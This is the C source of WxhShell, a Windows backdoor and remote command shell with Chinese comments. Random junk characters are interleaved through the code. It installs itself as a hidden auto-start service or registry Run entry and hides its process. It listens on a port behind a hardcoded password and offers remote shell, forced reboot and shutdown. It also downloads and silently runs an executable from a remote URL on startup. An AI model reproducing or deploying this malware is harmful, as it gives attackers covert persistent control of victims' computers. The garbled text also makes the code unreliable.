NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gAgF$H . z
pDc~ebh if (!NtQueryInformationProcess) return 0; _jH./ @G iUs_)1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y$9x!kV if(!hProcess) return 0; "\u<\CL Y@7n>U if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DB}v.. *BvdL:t CloseHandle(hProcess); ^$]iUb{\ #J t1AV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K+~1z>& if(hProcess==NULL) return 0; RKp9[^/? ihekON": HMODULE hMod; +U4';[LG1C char procName[255]; \-sW>LIA unsigned long cbNeeded; v`S ;.iD O$N;a9g if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;.^!
7j (}s& 84! CloseHandle(hProcess); @$nh6l>i dH'02[; if(strstr(procName,"services")) return 1; // 以服务启动 ZQn>+c2%! BAi`{?z$< return 0; // 注册表启动 FAX[|p } }z,9!{~` eZD"!AT // 主模块 }2S)CL= int StartWxhshell(LPSTR lpCmdLine) FL4BdJ\ { '6\ZgOO9 SOCKET wsl; p+0gE5 BOOL val=TRUE; vy`
lfbX@ int port=0; Jp|eKZ struct sockaddr_in door; %Y,Ru)5} 8l'W[6 if(wscfg.ws_autoins) Install(); q>wO=qWx e,d}4 jy port=atoi(lpCmdLine); @|s$:;(= :yTr:FoF if(port<=0) port=wscfg.ws_port; }R%*J %gWQ}QF WSADATA data; YW"uC\kg| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'Ydr_Ses zF|c3ap if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +3sbpl2} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?9>wG7cps7 door.sin_family = AF_INET; `\'V]9wS door.sin_addr.s_addr = inet_addr("127.0.0.1"); PHJHW#sv door.sin_port = htons(port); C6Cr+TScH G6lC[eK if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xk1uCVUe5 closesocket(wsl); #l@P}sHXq return 1; "zkQu } YV} "# <4<y if(listen(wsl,2) == INVALID_SOCKET) { PKC0Dt;F. closesocket(wsl); VMe return 1; 5g
O9 < } m*YfbOhs# Wxhshell(wsl); FnI}N;" WSACleanup(); #)@#Qd e\^}PU return 0; G!wb|-4<$ 6b$C/ } 587;2 6 EfBz // 以NT服务方式启动 #9Fk&Lx VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gt
_tL% { 0pG +yec DWORD status = 0; gs=ok8w DWORD specificError = 0xfffffff; T>7N "C nK)1.KVN serviceStatus.dwServiceType = SERVICE_WIN32; l9OpaOVfJ serviceStatus.dwCurrentState = SERVICE_START_PENDING; t\'MB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sC.r$K+k5 serviceStatus.dwWin32ExitCode = 0; {QaO\{J= serviceStatus.dwServiceSpecificExitCode = 0; #sBL E serviceStatus.dwCheckPoint = 0; *wY+yoj serviceStatus.dwWaitHint = 0; ~WORC\kCW |yz
o|%]3 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nB5\ocJ if (hServiceStatusHandle==0) return; <SQR"; V6'u\Ch| status = GetLastError(); *W`7JL, if (status!=NO_ERROR) ryw%0H18 { c
q[nqjC= serviceStatus.dwCurrentState = SERVICE_STOPPED; 6xwjKh:9 serviceStatus.dwCheckPoint = 0; HY1K(T serviceStatus.dwWaitHint = 0; B|yz~wuS serviceStatus.dwWin32ExitCode = status; 7R
m\# serviceStatus.dwServiceSpecificExitCode = specificError; 4b((,u$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); -mGG:#yP return; kB=B?V~# } C22h*QM* Eb@**% serviceStatus.dwCurrentState = SERVICE_RUNNING; - 0q263z serviceStatus.dwCheckPoint = 0; }9W[7V? serviceStatus.dwWaitHint = 0; y N9~/g if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TBQ68o } 8~t8^eBg
*?~"Jw // 处理NT服务事件,比如:启动、停止 5h^BXX|Y* VOID WINAPI NTServiceHandler(DWORD fdwControl) CGlEc { 7FyE? switch(fdwControl) +boL?Ix+ { \`["IkSg7 case SERVICE_CONTROL_STOP: FG{,l=Z0 serviceStatus.dwWin32ExitCode = 0; !OQ5AF$
serviceStatus.dwCurrentState = SERVICE_STOPPED; ks6iy}f7 serviceStatus.dwCheckPoint = 0; o _l_Yi serviceStatus.dwWaitHint = 0; K1A<m=If { ]s^+/8d= SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Ek1~i. } 8Dtpb7\o return; [>pBz3fn, case SERVICE_CONTROL_PAUSE: lF.kAEC serviceStatus.dwCurrentState = SERVICE_PAUSED; f=Pn,.>tIz break; ILl~f\xG) case SERVICE_CONTROL_CONTINUE: C96*,.j~' serviceStatus.dwCurrentState = SERVICE_RUNNING; u/S>*E break; SiaW; ks case SERVICE_CONTROL_INTERROGATE: !9YCuHj!p break; $ (xdF }; 1 n&%L8] SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sw"h!\c` } P(2OTfGGx ezY^T // 标准应用程序主函数 RPf <-J:t int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oso**WUOZ& { Qc?W;Q+ p%sizn // 获取操作系统版本 %kop's&?C OsIsNt=GetOsVer(); \xl$z*zI GetModuleFileName(NULL,ExeFile,MAX_PATH); z,E`+a; 3 )#Nc| // 从命令行安装 #}@8(>T if(strpbrk(lpCmdLine,"iI")) Install(); 8q{|nH tu$rVwgM // 下载执行文件 DUl+Jqn4B if(wscfg.ws_downexe) { "+7E9m6I if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1:^Xd~X WinExec(wscfg.ws_filenam,SW_HIDE); NziCN*6 } XMkRYI1~ }0]uA|lH* if(!OsIsNt) { [)jNy_4 // 如果时win9x,隐藏进程并且设置为注册表启动 SJh~4R\ HideProc(); Hd\oV^>
StartWxhshell(lpCmdLine); qwJp&6 } UjoA$A!Od; else (BxmV1 if(StartFromService()) w:deQ:k // 以服务方式启动 ^,ISz-4 StartServiceCtrlDispatcher(DispatchTable); v&/H6r#E. else :7"Q // 普通方式启动 PMbZv%.,- StartWxhshell(lpCmdLine); oOvQAW8` un~`| return 0; l5VRdZ4Uf } & C)1( ,lvG5B\0 Keo<#Cc? {'wvb
"b =========================================== *w _ o8!3- 9{Et v w 6.KEe^[- Z#Nw[>NN* W]7<PL*u 1_f+!
ns# " @M-w8!.~ T!y 9v5 #include <stdio.h>
H,GjPIG #include <string.h> ~!PWJ~U #include <windows.h> 'V:MppQVZ. #include <winsock2.h> )LKJfoo
PY #include <winsvc.h> =_C&lc" #include <urlmon.h> O<L=N- 8/tB?j #pragma comment (lib, "Ws2_32.lib") JZxA:dg
l #pragma comment (lib, "urlmon.lib") gU|:Y&lFZg \SQ4yc #define MAX_USER 100 // 最大客户端连接数 O9By5j 4 #define BUF_SOCK 200 // sock buffer 25vjn 1$sW #define KEY_BUFF 255 // 输入 buffer j;y(to-e>D Q0jg(=9wP #define REBOOT 0 // 重启 gAztdAsLM #define SHUTDOWN 1 // 关机 )mOM!I7D@ NI,>$@{ #define DEF_PORT 5000 // 监听端口 j[dZ*Jr_ Km=
Y^x0 #define REG_LEN 16 // 注册表键长度 *Us}E7/"' #define SVC_LEN 80 // NT服务名长度 ~ <K,P
e/+.^ '{ // 从dll定义API #>:S&R?2t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1DAU*^- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @#W4?L*D
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }ixCbuD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nk\ni>Du3 52o^] // wxhshell配置信息 Uq'W<.v5 struct WSCFG { psIo[.$rTk int ws_port; // 监听端口 >S }X)4 char ws_passstr[REG_LEN]; // 口令 }qp)VF int ws_autoins; // 安装标记, 1=yes 0=no H6K8. char ws_regname[REG_LEN]; // 注册表键名 mUP!jTF char ws_svcname[REG_LEN]; // 服务名 ju[y-am$/ char ws_svcdisp[SVC_LEN]; // 服务显示名 'JdK0w# char ws_svcdesc[SVC_LEN]; // 服务描述信息 rWNe&gFM char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L#a!fd int ws_downexe; // 下载执行标记, 1=yes 0=no )O+Zbn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R8lja%+0$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?d?.&nt .J @mpJdY }; )_j(NX-C: Wm"#"l4 // default Wxhshell configuration zJ}abo6rVw struct WSCFG wscfg={DEF_PORT, k.54lNl "xuhuanlingzhe", U%@C<o
" 1, 1@'I eywg "Wxhshell", {#?|&n< "Wxhshell", =EYgck;) "WxhShell Service", 7n84`|= "Wrsky Windows CmdShell Service", I`IW^eZM "Please Input Your Password: ", BH}Cx[n?~ 1, "eTALRL'o "http://www.wrsky.com/wxhshell.exe", cjGN=|`u "Wxhshell.exe" %4M,f.[e }; 5
Slz^@n O[U`(A: // 消息定义模块 @.k^ 8hc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M'R
] '' char *msg_ws_prompt="\n\r? for help\n\r#>"; ~QUNR?h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4*f+np char *msg_ws_ext="\n\rExit."; *mj=kJ7(
char *msg_ws_end="\n\rQuit."; 6l4= char *msg_ws_boot="\n\rReboot..."; YGQ/zB^Pj char *msg_ws_poff="\n\rShutdown..."; Io
IhQ char *msg_ws_down="\n\rSave to "; <uFj5. R%}<z*~NE@ char *msg_ws_err="\n\rErr!"; n
ei0LAD char *msg_ws_ok="\n\rOK!"; /=za
m3kd K0v S char ExeFile[MAX_PATH]; YhRy
C*b int nUser = 0; 7;TMxO=bra HANDLE handles[MAX_USER]; ,37<FXX, int OsIsNt; ;q%z\gA JBc*m SERVICE_STATUS serviceStatus; uUq= L SERVICE_STATUS_HANDLE hServiceStatusHandle; l-c:'n &D-z|ZjgHi // 函数声明 #d[Nm+~ko int Install(void); & uwOyb int Uninstall(void); t~ I;IB int DownloadFile(char *sURL, SOCKET wsh); St!0MdCH int Boot(int flag); K@[Hej6d void HideProc(void); T?A3f]U int GetOsVer(void); <{ v
%2 int Wxhshell(SOCKET wsl); A+H8\ew2, void TalkWithClient(void *cs); l\N2C4NG int CmdShell(SOCKET sock); C`qV+pV int StartFromService(void); JURu>-i int StartWxhshell(LPSTR lpCmdLine); l9j=;h s 8K.A~5 w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *(vh | VOID WINAPI NTServiceHandler( DWORD fdwControl ); [h
B$%i]\< hop|
xtai; // 数据结构和表定义 XGe;v~L SERVICE_TABLE_ENTRY DispatchTable[] = @C=gMn.E { &k_LK {wscfg.ws_svcname, NTServiceMain}, 7KUf,0D {NULL, NULL} byt$Wqdl }; 7 J6Z? F_w+8)DZ // 自我安装 g<^A(zM int Install(void) |Axbx? { ~bzac2Rp char svExeFile[MAX_PATH]; /G]/zlUE HKEY key; L|(U%$ strcpy(svExeFile,ExeFile); GJS( wXnVQ-6H // 如果是win9x系统,修改注册表设为自启动 as/PM" if(!OsIsNt) { Y%TY%"< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @aFk|.6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WO!OaC?+B, RegCloseKey(key); rk;]7Wu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .X.6<@$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rqBoUS4 RegCloseKey(key); w3b?i89 return 0; A{)pzV25 } yeIS} O } !or_CJ8% } g__s(
IJ else { ='1hvv/ jbT{K|d- // 如果是NT以上系统,安装为系统服务 6v%ePFul SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]^wr+9zd if (schSCManager!=0) If&y 5C { x2HISxg SC_HANDLE schService = CreateService mv,a>Cvs[ ( T <k;^iqR schSCManager, D-i, C~W wscfg.ws_svcname, 6'uCwAQU wscfg.ws_svcdisp, aYc<C$:NC" SERVICE_ALL_ACCESS, b-<@3N.9] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 726UO#* SERVICE_AUTO_START, 3PLA*n+% SERVICE_ERROR_NORMAL, WLVkrTvX svExeFile, d2U?rw_ NULL, %8Y+Df;ax NULL, 1!U:M8T| NULL, jyyig% NULL, b9T6JS j NULL DYIp2-K ); hz<TjWXv' if (schService!=0) ;P8%yf { `YZl2c<w* CloseServiceHandle(schService); tGXH)=K CloseServiceHandle(schSCManager); O/(vimx.#F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c`S+>: strcat(svExeFile,wscfg.ws_svcname); br k*; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~d\V> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1BEc" RegCloseKey(key); C+`V?rp=s return 0; H{9P=l } [wQJVYv } Z1$U[Tsd CloseServiceHandle(schSCManager); ve.P{;;Ky } c\ZnGI\| } Ml?KnSb k*,+ag*j return 1; EASmB
} ; 5[W*,7s z`Nss
o= // 自我卸载 $II~tO int Uninstall(void) )~nieQEZQ { {wz_ngQ HKEY key; EDnZ/)6Gg fF#Fc&B if(!OsIsNt) { ;GOu'34j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vE#8&Zq RegDeleteValue(key,wscfg.ws_regname); ?X\.O-=4X RegCloseKey(key); i<tJG{A= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !SnLvW89Z RegDeleteValue(key,wscfg.ws_regname); '<ZHzDW@ RegCloseKey(key); kou7_4oS return 0; 8s[1-l } -lv(@7o~ } $XkO\6kh } gyh8 else { V=1zk-XC |:2B )X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fWri7|"0h if (schSCManager!=0) tgl 4pAc { k w
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +7_U(|gO if (schService!=0) 0fUsERr1* { &U}8@; if(DeleteService(schService)!=0) { W|n$H`;R CloseServiceHandle(schService); Z8Vof~ CloseServiceHandle(schSCManager); n6Z!~W8 return 0; bt.3#aj } +IjBeQ? CloseServiceHandle(schService); M ]O4 } Q uw|KL CloseServiceHandle(schSCManager); Vwjic2lGI } KPjAk } /PR4ILed oj'YDQ^uj return 1; O?A% } ^si[L52BZ !V/7q'&t= // 从指定url下载文件 2:nI4S int DownloadFile(char *sURL, SOCKET wsh) w5/6+@} { [>3dhj[; HRESULT hr; Z6Kp-z(l3 char seps[]= "/"; >*!^pbZfX char *token; mU]^PC2[ char *file; }ALli0n`V) char myURL[MAX_PATH]; = iDd{$ char myFILE[MAX_PATH]; cc}#-HKR[ 9zCuVUcd$. strcpy(myURL,sURL); 1Qz@ token=strtok(myURL,seps); G^dzE/: while(token!=NULL) Z
d@B6R { [EZ=t k file=token; Y(?SE< 4R token=strtok(NULL,seps); |68/FJZ,5 } -O-?hsV)y g4 +Hq * GetCurrentDirectory(MAX_PATH,myFILE); .ns=jp strcat(myFILE, "\\"); :^>&t^E strcat(myFILE, file); !u
.n send(wsh,myFILE,strlen(myFILE),0); #
kNp); send(wsh,"...",3,0); 8?: 2< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +|5 O b if(hr==S_OK) &o1k_!25 return 0; V*Xr}FE else )"6"g9A return 1; 1cRF0MI HNj;_S } fM*?i"j;Y G8/q&6f_ // 系统电源模块 \$ss int Boot(int flag) 8_S| 8RW( { .j**>&7L HANDLE hToken; elpTak@ TOKEN_PRIVILEGES tkp; /_Ku:?{ }Ujgd2(U if(OsIsNt) { T-/3
A%v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =20
+(< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gOah5*Lj tkp.PrivilegeCount = 1; Vx>Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ip)u6We>I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K~S*<? if(flag==REBOOT) { nXI8 `7D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c813NHW return 0; CQrP%}`r } *W>, 98 else { Q1|zX@, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PDCb(5 return 0; Ze#DFe$ } 7-}5
W } e+4Eiv else { Z5)v if(flag==REBOOT) { EYCZuJxv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EV w {G< return 0; D<<q5gG } Wv;,@xTZ else { ?.lo[X<,* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KtH^k&z.f return 0; qK9A
/Mc } k%kEW%I yG } 'd&4MA 0X Ryxu#]s return 1; ;'08-Et } k hD)x0'b g#7Q-n3^ // win9x进程隐藏模块 }&2,!;"">3 void HideProc(void) v9S=$Aj { #Er"i (uhE'IQ{( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X7`-dSVE if ( hKernel != NULL ) vH1,As { ^Qn:#O9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y%- !%| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )& Oxp&x FreeLibrary(hKernel); Fav++ z } M5t.l ( *p#@W-:9E return; [^6z> } Iwh0PfWJ :M f8q!Q' // 获取操作系统版本 -o{ x
;:4 int GetOsVer(void) ) jvI Nb { re}PpXRC OSVERSIONINFO winfo; r)K5<[\r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [?O4l` GetVersionEx(&winfo); 1sonDBd0@; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n00J21 return 1;
_<Ij)#Rq7 else >D}|'.& return 0; Q.h.d)) } dGkw%3[ 8e,F{>N // 客户端句柄模块 N mxh zjJ int Wxhshell(SOCKET wsl) [{[m)Z^ { /`DKX } SOCKET wsh; 1@h8.ym<" struct sockaddr_in client; HpfZgkC+ DWORD myID; '`2MxRP xa<KF while(nUser<MAX_USER) O"\_%=X9 { bGK*1FlH int nSize=sizeof(client); k<+Sj
h$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d
ePk}Sn if(wsh==INVALID_SOCKET) return 1; YZSQOLN{ Ldv,(ZV,< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o$+R if(handles[nUser]==0) -1v9 closesocket(wsh); V+@ }dJS else
QJrXn6` nUser++; b7~Jl+m } Iz. h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cg17e d^!k{Qx' return 0; I}0? d } ?E|=eO"I1 !X~NL+ // 关闭 socket 7iwck.* void CloseIt(SOCKET wsh) dh [kx { l5&5VC) closesocket(wsh); fR'!p: ~ nUser--; bn8maYUZ ExitThread(0); |)Dm.)/0) } !t"/w6X1I {#,5C H') // 客户端请求句柄 t&=bW<6 void TalkWithClient(void *cs) :(m, 06K { ]y=U"g ?Fny_{&^H SOCKET wsh=(SOCKET)cs; ort*Ux)
char pwd[SVC_LEN]; CsycR @[ char cmd[KEY_BUFF]; ?YZgH>7" char chr[1]; #0uu19+} int i,j; jQ%1lQ#R) "5
~{ while (nUser < MAX_USER) { sCzpNJ"8
Zy;jp*Q if(wscfg.ws_passstr) { F+Qnf'at1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Td`S1'#yg //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3C%|src //ZeroMemory(pwd,KEY_BUFF); b|DU i=0; Sk!' 2y*@& while(i<SVC_LEN) { T&>65`L r"h09suZBW // 设置超时 Z$KyK.FUU fd_set FdRead; %N~c9B struct timeval TimeOut; )e`9U.C FD_ZERO(&FdRead); A^X\ FD_SET(wsh,&FdRead); ('C)S)98C TimeOut.tv_sec=8; ecz-jZ!
` TimeOut.tv_usec=0; Y,Z$U| U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); stUv! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xt pY* 1v.#ndk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YtSYe% pwd=chr[0]; 2\k!DF if(chr[0]==0xd || chr[0]==0xa) { \y=28KKc:c pwd=0; zNrn|(Y%Y break; Q5Nbu90 } 3!gz^[!?EN i++; #t(/wa4 } { >[ ]iX V61oK // 如果是非法用户,关闭 socket .[]S!@+% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P[q>;Fx* } %#v$d 6wwbH}*=? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NcF>}f,}\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $3>Rw/, %po;ih$jr* while(1) { ^[HUtq OF']- ZeroMemory(cmd,KEY_BUFF); wUr(i * (UjaL@G // 自动支持客户端 telnet标准 yGt[Qvx# j=0; Ew
PJ|Z^ while(j<KEY_BUFF) { <_|@~^u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?zutU w/m cmd[j]=chr[0]; *v K~t|z if(chr[0]==0xa || chr[0]==0xd) { a B MV6' cmd[j]=0; S$fS|N3]% break; jFe8s@7 } vvxD}p=y j++; Lv/}&'\( } u;rmqo1 RS}_cm0 // 下载文件 l{C]0^6>i if(strstr(cmd,"http://")) { XfVdYmii send(wsh,msg_ws_down,strlen(msg_ws_down),0); UMd.=HC L if(DownloadFile(cmd,wsh)) hN=kU9@knC send(wsh,msg_ws_err,strlen(msg_ws_err),0); NdLe|L?c else R"O%##Ws send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]f&]E
~i } "'Fvt-<^S7 else { zzI,iEG 9M9Fif. switch(cmd[0]) { X{Vs ,z#D[5 // 帮助 C}xfo}i case '?': { KP0(w(q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~b)X:ku break; E8sM`2z5 } WeH_1$n5 // 安装 LsIZeL^ case 'i': { 44P [P{y if(Install()) n5A|Zjk; send(wsh,msg_ws_err,strlen(msg_ws_err),0); M=;csazN else G5t7KI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %_Lz0L64k break; z$%8' } D60quEe3% // 卸载 *lLCH, case 'r': { URm< |